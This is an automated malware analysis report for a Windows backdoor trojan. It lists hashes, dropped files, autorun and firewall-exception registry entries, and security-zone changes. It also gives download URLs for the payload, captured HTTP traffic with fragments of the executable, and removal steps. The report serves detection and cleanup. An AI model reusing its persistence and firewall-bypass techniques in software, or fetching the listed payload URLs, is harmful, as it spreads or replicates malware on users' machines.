Gen.Variant.Barys.20425_7cfc6dfbc9
Trojan.MSIL.Agent.fmue (Kaspersky), Gen:Variant.Barys.20425 (B) (Emsisoft), Gen:Variant.Barys.20425 (AdAware), Backdoor.Win32.PcClient.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)
Behaviour: Trojan, Backdoor
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
| Requires JavaScript enabled! |
|---|
MD5: 7cfc6dfbc9d4a022e6e2ca052dd88386
SHA1: b27f2f6a428283f2b0dde6c087a07507c60c7a74
SHA256: 02a27a90d785cdaf3fab9d2ffae3f867d68fdaae70e62a24ebc1c59173d27f85
SSDeep: 3072:q8H5MEUqM2IkiVmYWcJbhui nuClPf9B85MMMswMBtPLxuJ/QQ6xy2Q/ccccccDU:lUJbkv0BtPLQJ/QQ6xynG9 zgh 1
Size: 368640 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6
Company: Microsoft Corporation
Created at: 2014-11-11 20:50:53
Analyzed on: WindowsXPESX SP3 32-bit
Summary:
Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
Application DatawLXfdPQMGC.exe:824
%original file name%.exe:1696
netsh.exe:1608
The Trojan injects its code into the following process(es):
rundll32.exe:228
server.exe:468
Mutexes
The following mutexes were created/opened:
No objects were found.
File activity
The process Application DatawLXfdPQMGC.exe:824 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\server.exe (74 bytes)
The process %original file name%.exe:1696 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Application DatacLlPfYOPAw.jpg (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Application DatawLXfdPQMGC.exe (74 bytes)
Registry activity
The process Application DatawLXfdPQMGC.exe:824 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "04 08 3C 3C 3B ED 90 78 03 31 83 17 86 03 C4 D5"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU]
"di" = "!"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp]
"server.exe" = ""
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The process %original file name%.exe:1696 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "92 2E FE 55 FC 41 4F 23 90 C4 09 A9 33 4C 5A 28"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings]
"Application DatawLXfdPQMGC.exe" = ""
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"shimgvw.dll" = "Windows Picture and Fax Viewer"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
"IntranetName" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The process netsh.exe:1608 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"Active" = "1"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"
[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"MaxFileSize" = "1048576"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"ControlFlags" = "1"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"ControlFlags" = "1"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"Active" = "1"
[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"ConsoleTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh\Napmontr]
"BitNames" = " NAP_TRACE_BASE NAP_TRACE_NETSH"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"EnableFileTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh\Napmontr]
"Guid" = "710adbf0-ce88-40b4-a50d-231ada6593f0"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent\traceIdentifier]
"Guid" = "b0278a28-76f1-4e15-b1df-14b209a12613"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"
[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"EnableConsoleTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C0 73 E9 53 9A D8 21 D7 01 D3 CA DB 20 C0 D2 3B"
[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"FileDirectory" = "%windir%\tracing"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"LogSessionName" = "stdout"
[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"FileTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"LogSessionName" = "stdout"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"
Adds a rule to the firewall Windows which allows any network activity:
[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\%Documents and Settings%\%current user%\Local Settings\Temp]
"server.exe" = "%Documents and Settings%\%current user%\Local Settings\Temp\server.exe:*:Enabled:server.exe"
The process rundll32.exe:228 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3D 3D C4 41 59 E5 45 DA 8F A4 62 10 DE 69 32 6C"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
The process server.exe:468 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F6 B0 72 AB 5C D5 55 97 1E B1 42 7C E0 E7 08 1D"
[HKCU\Software\325b83d76017d2cf027ba1f90b42a6f7]
"[kl]" = ""
[HKCU]
"di" = "!"
[HKCU\Environment]
"SEE_MASK_NOZONECHECKS" = "1"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"325b83d76017d2cf027ba1f90b42a6f7" = "%Documents and Settings%\%current user%\Local Settings\Temp\server.exe .."
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"325b83d76017d2cf027ba1f90b42a6f7" = "%Documents and Settings%\%current user%\Local Settings\Temp\server.exe .."
Dropped PE files
| MD5 | File path |
|---|---|
| 8fef2d69353fd1c44e14d69bf0155ea1 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Application DatawLXfdPQMGC.exe |
| 8fef2d69353fd1c44e14d69bf0155ea1 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\server.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
VersionInfo
Company Name:
Product Name:
Product Version: 0.0.0.0
Legal Copyright:
Legal Trademarks:
Original Filename: sara ali66.Scr
Internal Name: sara ali66.Scr
File Version: 0.0.0.0
File Description:
Comments:
Language: English (United States)
PE Sections
| Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
|---|---|---|---|---|---|
| .text | 8192 | 82308 | 86016 | 3.9046 | 163938cf0d66e6694e4aec1ab2a899ef |
| .rsrc | 98304 | 271232 | 274432 | 4.11493 | bfb5d1d16490c1f1bf58c95d0e0a9d12 |
| .reloc | 376832 | 12 | 4096 | 0.011373 | fe0973a663e9a9a530af80d785ec2d2b |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
URLs
| URL | IP |
|---|---|
| hxxp://samaup.com/do.php?down=11788 | |
| hxxp://www.samaup.com/do.php?down=11788 | |
| anemosajdabya2000.no-ip.org |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /do.php?down=11788 HTTP/1.1
Host: VVV.samaup.com
Connection: Keep-Alive
...... ..............rg..p...........*...0..;.......~....o....o....ri.
.p~....(.....o.....o......%(.....(......*.........,,.......0..D.......
~....o....o....ri..p~....(....o......(....o.......%(.......(.......*..
......22.......0..F.......~....o....o....ri..p~....(....o......(.....o
........%(.......(.......*..........44.......0..........r}..p~....(...
..r...prg..p(....rg..p.(....,0......(....r...p(....(........(....~....
(......k.r...prg..p(....(........(....r...p(....(........(....~....(..
....(%(......(........(....~....(.....(.......(....~....(...... %(....
...r...p~....(.....(.......(....~....(...... %(.......r...p~....(.....
(.......~....o........(........r...p(....~....(...... %(.......r...p~.
...(.....(.......rg..p~....(......~....o....o....r...prg..po ...r...pr
...po ...r...prg..po ...r...prg..po ...r...pr...po ...r...pr...po ...(
.......%(.......r...p(.....(.......r...p(.....(!...o"...r...p..(#.....
.....3..r...p(...............(.......%(.......r...p(.....(.......&($..
.r...po%...,..r...p~....(........r...p~....(.......%(.......~....(....
.(......(....,..r%..p~....(..... ..r-..p~....(......~....~....(......r
3..p~....(......(....~....(.....rg..p.~....o....o....ri..p~....(.....o
&...o'........ &.........o(.... 3....r9..p(.................2...%(....
..(........(....*....d.........(........... ........... ......-./\. ..
......r.........&.=c........~.9.........6.`........0...........(....()
...*.0...........P(*......(....*.0..........( ....Po,...*....0........
..( ....Po-...*....0..e........s.......s/.............o0....j.o1..<<< skipped >>>
GET /do.php?down=11788 HTTP/1.1
Host: VVV.samaup.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx admin
Date: Fri, 12 Dec 2014 10:19:41 GMT
Content-Type: application/octet-stream
Content-Length: 24064
Connection: keep-alive
X-Powered-By: PHP/5.3.29
Cache-Control: private, no-cache="set-cookie"
Expires: 0
Pragma: no-cache
P3P: CP="CUR ADM"
Content-Encoding: none
Content-Disposition: attachment; filename="Server.exe"
Accept-Ranges: bytes
Set-Cookie: sid=QkeMXEPl8r0P30DK6T5HshmSay5; expires=Sun, 14-Dec-2014 10:19:41 GMT; path=/
Set-Cookie: klj_efdc6_oldvistor=,11788,; expires=Sat, 13-Dec-2014 10:19:41 GMT; path=/; domain=.samaup.com; HttpOnly
Last-Modified: Thu, 25 Sep 2014 17:14:38 GMTMZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L.....$T
.................V...........t... ........@.. ........................
[email protected].......@...........
................................................................. ....
........... ..H............text....T... ...V.................. ..`.rsr
[email protected]..............@[email protected]...............\............
[email protected].......,K..D)....../...................
.................................0..........r...p.....r;..p...........
rE..p.....r[..p.....re..p.....r...p.....r...p.....r...p.....r...p(....
.....r...p(.........r...p(.........r...p(.........(....o....s.........
s.....................r...p...........s....0..........( ....Po-...*...
.0..e........s.......s/.............o0....j.o1.......o2...&..(3.......
jo1....................o4...&.o5....o5....*....0..>............d(6.
......d......d(....,...........1...%(.....(.......*.*..........,,.....
..0..].......(......~7...(8...,.rg..p..@.(9...(......(6........o(...(.
...&..(.......%(.....rg..p.(.......*...........GG.......0..T.......r=.
.p(:...rU..p(...............................(....&.(;......%(.....rY..
p.(.......*........>>.......0..n........(<...o=....... T.....
.o>........ 6.......o?...ra..p.(....o@...,..oA....o?...oB...*......
......2..........2..*..(....*...0..w........oC...oD....oC...oD....(E..
.....*.oF.....oF.....oG...oD....oG...oD....(E......-..*.oH.....oH.<<< skipped >>>
The Trojan connects to the servers at the folowing location(s):
.text
`.data
.rsrc
msvcrt.dll
KERNEL32.dll
NTDLL.DLL
GDI32.dll
USER32.dll
IMAGEHLP.dll
rundll32.pdb
.....eZXnnnnnnnnnnnn3
....eDXnnnnnnnnnnnn3
...eDXnnnnnnnnnnnn,
.eDXnnnnnnnnnnnn,
%Xnnnnnnnnnnnnnnn1
O3$dS7"%U9
.manifest
5.1.2600.5512 (xpsp.080413-2105)
RUNDLL.EXE
Windows
Operating System
5.1.2600.5512
YThere is not enough memory to run the file %s.
Please close other windows and try again.
9The file %s or one of its components could not be opened.
0The file %s or one of its components cannot run.
MThe file %s or one of its components requires a different version of Windows.
UThe file %s or one of its components cannot run in standard or enhanced mode Windows.3Another instance of the file %s is already running./An exception occurred while trying to run "%s"
Error in %s
Missing entry:%s
Error loading %s
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
Application DatawLXfdPQMGC.exe:824
%original file name%.exe:1696
netsh.exe:1608 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\server.exe (74 bytes)
%Documents and Settings%\%current user%\Local Settings\Application DatacLlPfYOPAw.jpg (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Application DatawLXfdPQMGC.exe (74 bytes) - Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"325b83d76017d2cf027ba1f90b42a6f7" = "%Documents and Settings%\%current user%\Local Settings\Temp\server.exe .."
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"325b83d76017d2cf027ba1f90b42a6f7" = "%Documents and Settings%\%current user%\Local Settings\Temp\server.exe .." - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.